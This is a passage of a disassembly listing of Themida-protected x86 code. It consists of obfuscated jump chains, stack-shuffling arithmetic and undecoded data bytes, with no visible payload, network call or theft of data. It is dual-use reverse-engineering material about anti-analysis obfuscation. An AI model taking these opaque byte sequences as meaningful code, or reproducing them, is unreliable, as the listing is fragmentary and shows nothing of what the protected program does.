		dd 500000F0h, 56B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_514859:				; CODE XREF: Themida_:0051BBB1j
		push	ebp
		jmp	loc_510F45
; ---------------------------------------------------------------------------


loc_51485F:				; CODE XREF: Themida_:00521A5Aj
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_516C72
; ---------------------------------------------------------------------------
		dd 5A5BDC88h, 0FFCBB5E9h, 0CE54BAFFh, 0DA01C4E9h, 0E9241C8Bh
		dd 0A04h
; ---------------------------------------------------------------------------


loc_51488C:				; CODE XREF: Themida_:0050EC39j
		xchg	edx, [esp]
		pop	esp
		xor	edi, 61142ADh
		jmp	loc_51B310
; ---------------------------------------------------------------------------
		db 59h
		dd 0B5B05066h, 8B66C630h, 0AAE92404h, 8100000Dh, 219449EDh
		dd 0A8BEE981h, 69B8FFFFh, 0E962BC2Fh, 0A939h, 7C8468h
		dd 241C8900h, 241C8B54h, 0E904C483h, 0FFFFE3A7h, 4EC81h
		dd 0F8E90000h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5148DF:				; CODE XREF: Themida_:005182AEj
		sub	eax, ebp
		sub	eax, 18671FAFh
		push	edi
		mov	edi, eax
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		or	ebp, 579E5730h
		add	ebp, 470E6633h
		sub	ebp, 23F20C84h
		xor	eax, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_51D922
; ---------------------------------------------------------------------------
		db 25h,	5Fh, 78h
		dd 0FE91F02h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51492F:				; CODE XREF: Themida_:0050F385j
		sub	ecx, 58AA70AEh
		shr	ecx, 1
		inc	ecx
		xor	ecx, 624C81F2h
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_51CF9A
; ---------------------------------------------------------------------------
a1Sbq		db '1',0
		dw 8100h
		dd 0EA1A99C2h, 0E9575F59h, 0BA38h
; ---------------------------------------------------------------------------


loc_51495C:				; CODE XREF: Themida_:0051E467j
		mov	edx, ebx
		pop	ebx
		xor	eax, edx
		mov	edx, [esp]
		jmp	loc_517214
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 15h
		dd 0F770970Ch, 81D9F7D1h, 0BE2B95E1h, 0A0BD557Eh, 314E596Ah
		dd 0CA295DE9h, 0E750E9h, 387A2900h, 81243C8Bh, 4C4h, 68535600h
		dd 3C1C3128h, 39F3815Bh, 8134961Bh, 0B14AA1EBh,	0B3CB8141h
		dd 8111F90Eh, 38AC0F3h,	0E9DE89F2h, 32E1h, 1E99BB0h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5149C3:				; CODE XREF: Themida_:00523968j
		add	esp, 4
		push	edx
		push	eax
		jmp	loc_514D38
; ---------------------------------------------------------------------------


loc_5149CD:				; CODE XREF: Themida_:0051C258j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_51B22C
; ---------------------------------------------------------------------------
		db 58h
		dd 2C181h, 0C330000h, 240C3124h, 8B240C33h, 2CD22424h
		dd 0F5E99C24h, 81FFFF97h, 4A136CEAh, 240C8B3Ch,	104C483h
		dd 5A042454h, 34BA525Eh, 4228F030h, 0E908EAC1h,	3036h
		dd 335BDA01h, 6AE92414h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514A27:				; CODE XREF: Themida_:0051B57Dj
		push	ebx
		jmp	loc_51439D
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4240483h, 4BB535Ah, 1000000h, 241C8BDAh, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 835C240Ch, 66E904ECh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514A5B:				; CODE XREF: Themida_:0051BC08j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		jmp	loc_51D1D6
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 2050000h, 87000000h,	815C2404h, 4ECh, 242C8900h
		dd 0C581E589h, 4, 4ED81h, 2C870000h, 0C895C24h,	0B05FE924h
		dd 0BA52FFFFh, 0BE83BD3h, 0EA81DAF7h, 0F014153h, 0A0ABF281h
		dd 0BF57A5BBh, 40AD226Dh, 0E95FFA29h, 4842h, 57E9C788h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_514ACB:				; CODE XREF: Themida_:00517881j
		mov	dl, 0DDh
		xor	dl, cl
		pop	ecx
		add	dl, cl
		pop	ecx
		add	dl, 0A7h
		jmp	loc_52326C
; ---------------------------------------------------------------------------
		db 81h
		dd 453990C7h, 0FAE95E21h, 8300000Ch, 1C8704C3h,	0A107E924h
		dd 0C5810000h, 62971B7h, 0EDDAED81h, 0EA01E313h, 4EA835Dh
		dd 5C241487h, 68241489h, 372Eh,	88241C89h, 0FFDE88C3h
		dd 1C8B2434h, 4C48324h,	387CE9h, 4C48100h, 8F000000h, 0E95C2404h
		dd 1208h
; ---------------------------------------------------------------------------


loc_514B34:				; CODE XREF: Themida_:0051DCF3j
		mov	[esp], ebx
		push	345F64FAh
		pop	ebx
		sub	ebx, 5C57282Eh
		push	eax
		mov	eax, 4EBD4C1Ah
		sub	ebx, eax
		pop	eax
		jmp	loc_516F7B
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLSi		db '$$i',0
		align 4
		dd 39DFEA81h, 815E2DFFh, 4EAh, 24148700h, 7A21E9h, 0A7E95F00h
		dd 560000B1h, 674420BEh, 0E9F5014Ch, 0FFFFEE9Bh
; ---------------------------------------------------------------------------


loc_514B84:				; CODE XREF: Themida_:0051EFDEj
		pop	esp
		shr	ecx, 7
		push	edi
		push	69E6h
		mov	[esp], ebx
		push	edi
		mov	edi, 2402F96h
		xor	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_513D1D
; ---------------------------------------------------------------------------


loc_514BAA:				; CODE XREF: Themida_:0051D1E6j
		mov	[esp], ecx
		push	ebp
		mov	ebp, 39305F02h
		mov	ecx, 0C6CFA102h
		jmp	loc_5144E1
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2BB53h, 0DE010000h, 50241C8Bh, 0B31EE9h
		db 0
; ---------------------------------------------------------------------------


loc_514BD1:				; CODE XREF: Themida_:0051FE06j
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_521F99
; ---------------------------------------------------------------------------
		db 0B8h, 0A7h, 77h
		dd 0F7484E4Fh, 4EC83D8h, 0BB241C89h, 8772E744h,	34FFD831h
		dd 0C4815B24h, 4, 2828C581h, 0C5291825h, 2828ED81h, 81581825h
		dd 0A27733C5h, 8BEF013Fh, 0C481242Ch, 4, 0E8E95153h, 5800000Dh
		dd 5304E2C1h, 0FFCFF9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514C2D:				; CODE XREF: Themida_:00516F9Aj
		sub	eax, 7AFB381Eh
		jmp	loc_516F34
; ---------------------------------------------------------------------------
		db 31h
		dd 0B8505FFDh, 1A827CCBh, 0C930C32Dh, 58C52909h, 6B55C581h
		dd 0F5810F5Eh, 6B999156h, 34FFEE01h, 9F83E924h,	0D9F70000h
		dd 0EEF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_514C65:				; CODE XREF: Themida_:00510209j
		push	esi
		jmp	loc_521E72
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0D1B8E953h, 7EB7FFFFh, 0FE21CF80h, 0D71FE9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_514C7E:				; CODE XREF: Themida_:0051656Bj
		add	ebx, 4
		push	ebp
		mov	ebp, 4C300EEDh
		and	ebp, 51E84904h
		shl	ebp, 5
		xor	ebp, 20503942h
		jmp	loc_5143BD
; ---------------------------------------------------------------------------


loc_514C9E:				; CODE XREF: Themida_:0051CDC3j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_519910
; ---------------------------------------------------------------------------


loc_514CA7:				; CODE XREF: Themida_:0052155Dj
		xchg	ebp, [esp]
		xchg	edx, ebp
		push	edx
		jmp	loc_516A32
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 440831F1h, 2CC381h, 815E13A2h, 0F760FAC3h, 0E9C3015Fh
		dd 0BEECh
; ---------------------------------------------------------------------------


loc_514CCC:				; CODE XREF: Themida_:0051E60Ej
		pop	eax
		jmp	loc_516781
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404BBh, 0FF9513E9h, 0E9DA28FFh, 9558h, 8245401h
		dd 34E6E95Ah, 0C1010000h, 240C3358h, 0E9240C31h, 6258h
		dd 8FE9CF01h, 5E0000BAh, 0D82FC381h, 0DE29FCC7h, 0D1B9E9h
		dd 8BD80100h, 0FFE9241Ch
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514D1B:				; CODE XREF: Themida_:00516420j
		xor	esi, 76B51318h
		mov	ecx, esi
		pop	esi
		add	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		add	ebp, 4B736B30h
		jmp	loc_50F6F3
; ---------------------------------------------------------------------------


loc_514D38:				; CODE XREF: Themida_:005149C8j
		push	ebp
		mov	ebp, 26D60FF2h
		mov	eax, ebp
		pop	ebp
		mov	edx, eax
		pop	eax
		sub	esi, edx
		pop	edx
		shl	esi, 3
		push	eax
		push	ebx
		jmp	loc_520150
; ---------------------------------------------------------------------------
		db 66h,	50h, 9Ch
		dd 2C06E9h, 81E58900h, 4C5h, 5EE95300h,	0F60000A1h, 0E425E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_514D6E:				; CODE XREF: Themida_:0052140Dj
		push	2582h
		mov	[esp], ecx
		mov	ch, 3Dh
		mov	ah, ch
		pop	ecx
		mov	bh, 0
		xor	bh, ah
		pop	eax
		push	ebx
		push	ecx
		push	ebx
		mov	bh, 6Dh
		jmp	loc_51C29F
; ---------------------------------------------------------------------------
aSxw		db '\w',0
		align 10h
		dd 0EE81DE01h, 6B4923B8h, 3268C681h, 0EE810736h, 2A8525B2h
		dd 0C2C6815Bh, 6844A766h, 3DF1h, 5EDE9h, 4C48300h, 136A6866h
		dd 24148966h, 0EF885366h, 3246C8Ah, 3247C88h, 51665B66h
		dd 12454F6h, 937E9h, 47E95600h,	31FFFFB5h, 24048BC1h, 4C481h
		dd 0CB310000h, 81240C8Bh, 4C4h,	8BDF0100h, 0C483241Ch
		dd 3507E904h, 565B0000h, 9AA1E954h, 8B660000h, 0EAE92404h
		dd 350000CAh, 0C58273A4h, 0AFF6E9h
		db 0
; ---------------------------------------------------------------------------


loc_514E1D:				; CODE XREF: Themida_:0051EDF5j
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, 408A1ED6h
		push	ecx
		push	edi
		mov	edi, 68315194h
		mov	ecx, 956099EEh
		jmp	loc_519E92
; ---------------------------------------------------------------------------
aWrqs		db 'WRQ#',0
		align 4


loc_514E48:				; CODE XREF: Themida_:0051C616j
		push	ecx
		mov	ecx, 2FC615F9h
		and	ebp, ecx
		jmp	loc_51C9ED
; ---------------------------------------------------------------------------


loc_514E55:				; CODE XREF: Themida_:005160CEj
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		push	esi
		mov	esi, 6C14326Ah
		push	ebp
		mov	ebp, 40A5C49Dh
		sub	esi, ebp
		pop	ebp
		jmp	loc_51C236
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 83E18924h, 43E904ECh, 81000025h, 0FD4CD3EBh,	5685D1Eh
		dd 89000025h, 0E950240Ch, 33Ah
; ---------------------------------------------------------------------------


loc_514E94:				; CODE XREF: Themida_:0050E2C2j
		mov	eax, 4AECF630h
		add	edi, eax
		pop	eax
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 3618728Eh
		push	0
		sub	[esp], ecx
		jmp	loc_51E07D
; ---------------------------------------------------------------------------
		db 52h
		dd 333167BAh, 5AD60971h, 0E224F681h, 0EE8369D7h, 73E95001h
		dd 500002Ch, 793B5B9Ah,	68E8015Ah, 3452h, 0B9240C89h, 500919E4h
		dd 0C860E981h, 78E9DB55h, 8300005Bh, 0C38104C4h, 4, 3302C383h
		dd 1C31241Ch, 241C3324h, 0D0C1E9h, 5EF03100h, 0E6BE5655h
		dd 81007600h, 733A86C6h, 8BF58911h, 0C4832434h,	1ED8304h
		dd 8107EDC1h, 0F57F51F5h, 6851522Eh, 24EA1F26h,	0C5FFE9h
		dd 24048B00h, 4C481h, 0BE560000h, 6EE52B82h, 2C7EBE56h
		dd 0F6817812h, 34D716A1h, 4419BA52h, 0F2816934h, 62D2492Eh
		dd 0E876E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_514F76:				; CODE XREF: Themida_:00517ED2j
		push	ecx
		jmp	loc_519468
; ---------------------------------------------------------------------------


loc_514F7C:				; CODE XREF: Themida_:00510F86j
		mov	esp, [esp]
		push	47D6h
		jmp	loc_51803F
; ---------------------------------------------------------------------------


loc_514F89:				; CODE XREF: Themida_:00517EE3j
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_51AB9A
; ---------------------------------------------------------------------------


loc_514F92:				; CODE XREF: Themida_:00517584j
		mov	esp, [esp]
		sub	eax, 592B0BEDh
		sub	eax, 441B3B7Ah
		sub	eax, edx
		add	eax, 441B3B7Ah
		add	eax, 592B0BEDh
		jmp	loc_516978
; ---------------------------------------------------------------------------


loc_514FB0:				; CODE XREF: Themida_:00520AEAj
		push	7F1Dh
		mov	[esp], eax
		jmp	loc_51C0B8
; ---------------------------------------------------------------------------
aBiVjsd		db 'Ţd',0
		align 4


loc_514FC8:				; CODE XREF: Themida_:00516878j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_522A17
; ---------------------------------------------------------------------------


loc_514FE8:				; CODE XREF: Themida_:005196B8j
		mov	eax, 989DEDB5h
		add	eax, ebx
		jmp	loc_518D1C
; ---------------------------------------------------------------------------
		dd 0E2E989B2h, 0ACFFFFFCh, 852C3B2Ch, 0D1B25266h, 0B75AE9h
		dd 0F5EB8100h, 0E99EFD8Eh, 74F0h, 321BC1BEh, 58C63150h
		dd 92C68146h, 501B194Fh, 19E6DCB8h, 0A7D8E9BDh,	0E95D0000h
		dd 5C0Dh, 56EE959h, 0C3290000h,	64F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_515041:				; CODE XREF: Themida_:0051CE26j
		mov	edx, 4DC74A78h
		add	ebp, 3A9E046Eh
		add	ebp, edx
		jmp	loc_51F20B
; ---------------------------------------------------------------------------


loc_515053:				; CODE XREF: Themida_:00515C62j
		mov	[esp], esi
		jmp	loc_51430D
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0B4EEh, 1C70EA81h, 0D3E9016Bh, 52000091h
		dd 7B315C68h, 0B479E91Dh, 0C3830000h, 241C8704h, 4EC835Ch
		dd 89243489h, 3931E9E6h, 81580000h, 4C4h, 0F56EE900h, 2D68FFFFh
		dd 8900007Ch, 0DEE92414h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5150A7:				; CODE XREF: Themida_:0051D2A4j
		neg	esi
		jmp	loc_520D03
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 2, 0B23DE9h,	24348700h, 4F69E9h
		db 0
; ---------------------------------------------------------------------------


loc_5150C1:				; CODE XREF: Themida_:00520056j
		push	2687h
		mov	[esp], ebp
		mov	ebp, 67AF6E15h
		push	edx
		mov	edx, 0C067414h
		sub	[esp+8], edx
		pop	edx
		add	[esp+4], ebp
		add	dword ptr [esp+4], 0C067414h
		mov	ebp, [esp]
		push	ecx
		sub	esp, 4
		jmp	loc_516D5C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 0F974E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5150FA:				; CODE XREF: Themida_:00513A65j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	1A35h
		mov	[esp], ecx
		jmp	loc_519BC3
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 0FFFFE975h
; ---------------------------------------------------------------------------


loc_515128:				; CODE XREF: Themida_:00521067j
		dec	ecx
		jmp	loc_512670
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 5E042474h, 4A59E9h, 6A996800h, 14890000h, 2375E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_515146:				; CODE XREF: Themida_:005114C8j
		xchg	ebp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_523BEB
; ---------------------------------------------------------------------------
		db 52h
		dd 0D31E68BAh, 2052E956h, 0DE890000h, 8294E9h
		db 0
; ---------------------------------------------------------------------------


loc_515165:				; CODE XREF: Themida_:00513018j
		push	edi
		mov	edi, 7E9E199Fh
		add	edx, edi
		pop	edi
		dec	edx
		jmp	loc_51CA74
; ---------------------------------------------------------------------------


loc_515174:				; CODE XREF: Themida_:00512035j
		pop	esi
		jmp	loc_517A86
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFAF60h, 6CAD68h,	243C8900h, 77E95F52h, 54000089h
		dd 5524048Fh, 4BDh, 3DE3E900h, 34FF0000h, 0C4835824h, 4B276804h
		dd 1C890000h, 0E4A0E924h, 44BD0000h, 815E1C41h,	406D1AE5h
		dd 8F58158h, 8129FC67h,	556BE7F5h, 9BCFE957h, 3BB80000h
		dd 890DD253h, 0CB2958C1h, 24048B59h, 8704C483h,	248B241Ch
		dd 4EC8124h, 89000000h,	0E954240Ch, 56F4h, 0B951E289h
		dd 4, 4236C281h, 0C6E957D6h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515207:				; CODE XREF: Themida_:0051D15Ej
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_518B7E
; ---------------------------------------------------------------------------
		dd 0BE243489h, 1ECD61CCh, 0E9DEF746h, 0FFFFA2FDh
; ---------------------------------------------------------------------------


loc_515228:				; CODE XREF: Themida_:00515AEBj
		push	ebp
		jmp	loc_521381
; ---------------------------------------------------------------------------
		dw 0D1BEh
		dd 0C110B079h, 0EE8102E6h, 5E08738h, 5702E6C1h,	0D2B7E9h
		dd 89505900h, 5070E9E0h, 81580000h, 0FF39DFC2h,	0E9F2012Dh
		dd 0FFFFF900h
; ---------------------------------------------------------------------------


loc_51525C:				; CODE XREF: Themida_:0050FC69j
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	eax, 4
		jmp	loc_520F9A
; ---------------------------------------------------------------------------


loc_515270:				; CODE XREF: Themida_:00519FBDj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		dd 4C481h, 0D3010000h, 59EB815Ah, 81734B4Ch, 293E62C3h
		dd 2C38134h, 0E93FC078h, 1683h,	240C8B66h, 34FF5452h, 24148B24h
		dd 4C481h, 0E9570000h, 0FFFFCEDEh, 2B62AFBBh, 0B1C38111h
		dd 811D8C01h, 220541E3h, 7EBC15Bh, 0FFEA31E9h, 3E2C0FFh
		dd 1E8EE9h, 0E9515300h,	615Ah, 212DF281h, 0E94A7798h, 0E20Eh
		dd 0F5E9DDF7h, 5B000073h, 4C381h, 0C3810000h, 4, 2474FF53h
		dd 241C8B04h, 8F04C483h, 0EFE92404h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515323:				; CODE XREF: Themida_:00519AD5j
		add	ecx, eax
		mov	[ecx], dl
		pop	ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		jmp	loc_51D4EA
; ---------------------------------------------------------------------------
		dd 0FF8EABE9h, 80C5FEFFh, 0E82855EDh, 58C32859h, 0C380C300h
		dd 2EC8134h, 66000000h,	0B0240489h, 93C380D6h, 0EB80C300h
		dd 48B6693h, 99AE924h, 0E9500000h, 0CD68h, 60DCBA52h, 0D0016B3Ch
		dd 0BE56575Ah, 729D7E51h, 47E9F789h, 810000D1h,	505A8C5h
		dd 0E9E8011Fh, 56A0h, 0C00EE95Ah, 1489FFFFh, 12206824h
		dd 148B06A0h, 4C48124h,	81000000h, 0A01220F2h, 4EC8306h
		dd 83241489h, 2C8904ECh, 7B09BD24h, 6C31297Ah, 34FF0424h
		dd 0C4815D24h, 4, 0B2A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5153DD:				; CODE XREF: Themida_:00519770j
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		push	7C45h
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4ED1CF5h
		jmp	loc_51455C
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5F0A0DCBh, 5D2434FFh, 5104C483h, 0FF9743E9h,	2474FFFFh
		dd 240C8B04h, 0E904C483h, 2034h
; ---------------------------------------------------------------------------


loc_51541C:				; CODE XREF: Themida_:0051012Bj
		sub	ebp, edi
		jmp	loc_515932
; ---------------------------------------------------------------------------


loc_515423:				; CODE XREF: Themida_:005147E5j
		pop	esi
		jmp	loc_51DEE0
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 0FFC12FE9h, 241C87FFh, 29D9E9h, 5AD18900h
		dd 6F07E9h, 0F9354800h,	0E95DA26Fh, 3D33h
; ---------------------------------------------------------------------------


loc_515450:				; CODE XREF: Themida_:0051E0D1j
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_512EDD
		push	dword ptr [edi+1Ch]
		push	2340h
		mov	[esp], esi
		jmp	loc_51AF0F
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 7C00h
; ---------------------------------------------------------------------------


loc_515474:				; CODE XREF: Themida_:0051D842j
		mov	eax, [esp]
		push	ebx
		push	esp
		jmp	loc_50F6D6
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 5C461CC6h, 5350EF01h, 0A55D2FBBh, 4FC38159h,	4B245F1Eh
		dd 470BF381h, 81431F52h, 0F60C50C3h, 5BD88909h,	3FB3548h
		dd 5F353B0Ch, 0C1176D6Ch, 4E3502E0h, 0E940F281h, 0FFFFCBF4h
		dd 57240C8Bh, 243C8B54h, 4C481h, 3C680000h, 89000050h
		dd 49B82404h, 5207F379h, 5350F6BAh, 0CDB1E91Fh,	2C87FFFFh
		dd 0C4815C24h, 4, 0FF8DD6E9h, 91E958FFh, 59000086h, 31243433h
		dd 34332434h, 0AD1EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_515506:				; CODE XREF: Themida_:0051B303j
		push	small 1118h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------


loc_515516:				; CODE XREF: Themida_:00512CE7j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 9D0CE961h, 2C87FFFFh, 34FF5C24h, 0D0E95B24h,	52FFFFF9h
		dd 6D75CE68h, 2434FF45h, 5724148Bh, 0C781E789h,	4, 4C781h
		dd 3C870000h, 24248B24h, 0E9E08950h, 6CAEh
; ---------------------------------------------------------------------------


loc_515558:				; CODE XREF: Themida_:0051A8D7j
		push	5FCAh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		push	eax
		jmp	loc_51DA0C
; ---------------------------------------------------------------------------
		db 83h
		dd 0C1E9FFEDh, 8100006Dh, 4C4h,	74FF5500h, 34FF0424h, 89515D24h
		dd 4C181E1h, 0E9000000h, 0FFFF90DBh
; ---------------------------------------------------------------------------


loc_515594:				; CODE XREF: Themida_:0051961Dj
		add	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_51E312
; ---------------------------------------------------------------------------
aQs_0		db 'Q"',27h,0
		align 4
		dd 0E92434FFh, 9C02h
; ---------------------------------------------------------------------------


loc_5155B0:				; CODE XREF: Themida_:005140D7j
		mov	ebp, 53521A33h
		jmp	loc_51DF12
; ---------------------------------------------------------------------------


loc_5155BA:				; CODE XREF: Themida_:00519C80j
		sub	byte ptr [esp],	14h
		mov	ch, [esp]
		add	esp, 2
		jmp	loc_50E636
; ---------------------------------------------------------------------------


loc_5155C9:				; CODE XREF: Themida_:00518842j
		shr	edi, 3
		push	edx
		mov	edx, 1E79210Bh
		add	edx, 2EE976BFh
		add	edx, 19C740Dh
		jmp	loc_51B07B
; ---------------------------------------------------------------------------


loc_5155E3:				; CODE XREF: Themida_:0051E32Cj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		shl	ebp, 2
		add	ebp, 1
		shr	ebp, 2
		push	esi
		mov	esi, 4716F109h
		xor	ebp, esi
		pop	esi
		jmp	loc_516B70
; ---------------------------------------------------------------------------
		db 5Ch
		dd 240C8966h, 0CB2842B1h, 0EB805966h, 9DE95233h, 0F7FFFF95h
		dd 0F9A3E9D3h, 0C481FFFFh, 4, 4BF57h, 0F8290000h, 0C282E9h
		dd 80D5F600h, 0B353C9F5h, 0DFEB80D1h, 0CB80DBF6h, 0FCEB804Ch
		dd 0A3F380h, 241C8BDDh,	4C481h,	0EE280000h, 0FFF246E9h
		dd 2C481FFh, 66000000h,	86F08850h, 0E9CA86D0h, 1D1Ah
; ---------------------------------------------------------------------------


loc_515668:				; CODE XREF: Themida_:00515C03j
		add	esp, 4
		push	ecx
		push	edx
		push	729E308Dh
		pop	edx
		push	ebp
		jmp	loc_52032D
; ---------------------------------------------------------------------------


loc_51567C:				; CODE XREF: Themida_:005210A9j
		mov	ebx, 355E1023h
		add	ebx, 0E4767C7h
		jmp	loc_51EA85
; ---------------------------------------------------------------------------
		dd 34C9BF57h, 0FA017D0Ah, 0E9FA015Fh, 0B99Ch, 3E0EF5BBh
		dd 0CD38E94Dh, 0B5510000h, 32F5805Dh, 0F59EB00h, 34FFC0B6h
		dd 8B36E987h, 0E7C0FFFFh, 2EFC008h, 24B25266h, 767DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5156C9:				; CODE XREF: Themida_:00518AF9j
		xchg	edx, [esp]
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FFB89AE9h, 0C7815FFFh, 4, 4B951h, 0C7810000h, 1731708h
		dd 0FF913EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5156ED:				; CODE XREF: Themida_:0051D551j
		xor	ebp, [esp]
		jmp	loc_51E93B
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 3
		dd 1042C0Ch, 35E95FF9h,	0F7000099h, 0ACE281DAh,	0E9750666h
		dd 88BCh, 88505966h, 246C8AE8h,	24448805h, 5A665805h, 9E9C6FEh
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515727:				; CODE XREF: Themida_:0051E6DBj
		push	ebp
		mov	ebp, 1F691510h
		jmp	loc_51F94E
; ---------------------------------------------------------------------------


loc_515732:				; CODE XREF: Themida_:0051EDEDj
		push	edx
		mov	edx, 187954ACh
		neg	edx
		xor	edx, 5061728Fh
		push	eax
		mov	eax, 448C70E2h
		add	edx, eax
		jmp	loc_515D4C
; ---------------------------------------------------------------------------
aPska		db 'Pa',0
		dw 2900h
		dd 0CB02E9F7h, 0B951FFFFh, 546727A2h, 27A6F181h, 0CE015467h
		dd 4EE8159h, 0E9000000h, 0D2F8h
; ---------------------------------------------------------------------------


loc_515774:				; CODE XREF: Themida_:0051CDBBj
		sub	al, cl
		push	edx
		jmp	loc_520DAB
; ---------------------------------------------------------------------------
		dd 9C54E953h, 433FFFFh,	24248B24h, 9C2424D2h, 6F76E9h
		db 0
; ---------------------------------------------------------------------------


loc_515791:				; CODE XREF: Themida_:00517638j
		xor	esi, ecx
		pop	ecx
		jmp	loc_521DDC
; ---------------------------------------------------------------------------
		db 0F6h, 0D1h, 53h
		dd 0DBF6DBB3h, 0C0F4E380h, 0B9E906EBh, 8B0000C9h, 8BE92404h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5157B3:				; CODE XREF: Themida_:005143C6j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_50E4CE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 34FF6E04h, 6DDCE924h,	89660000h, 15E92404h
		dd 5CFFFF8Ah, 2BDAE9h, 0E9F80100h, 7CE3h
; ---------------------------------------------------------------------------


loc_5157E8:				; CODE XREF: Themida_:0051F174j
		mov	eax, 6BE1D07h
		sub	ebp, eax
		pop	eax
		add	ebp, esi
		add	ebp, 6BE1D07h
		mov	esi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_510FF7
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2404FFh, 0FF89DFE9h, 0E9E801FFh, 0C648h, 430568h
		dd 241C8900h, 0B4B9E9h,	240C8B00h, 815E5456h, 4ECh, 240C8900h
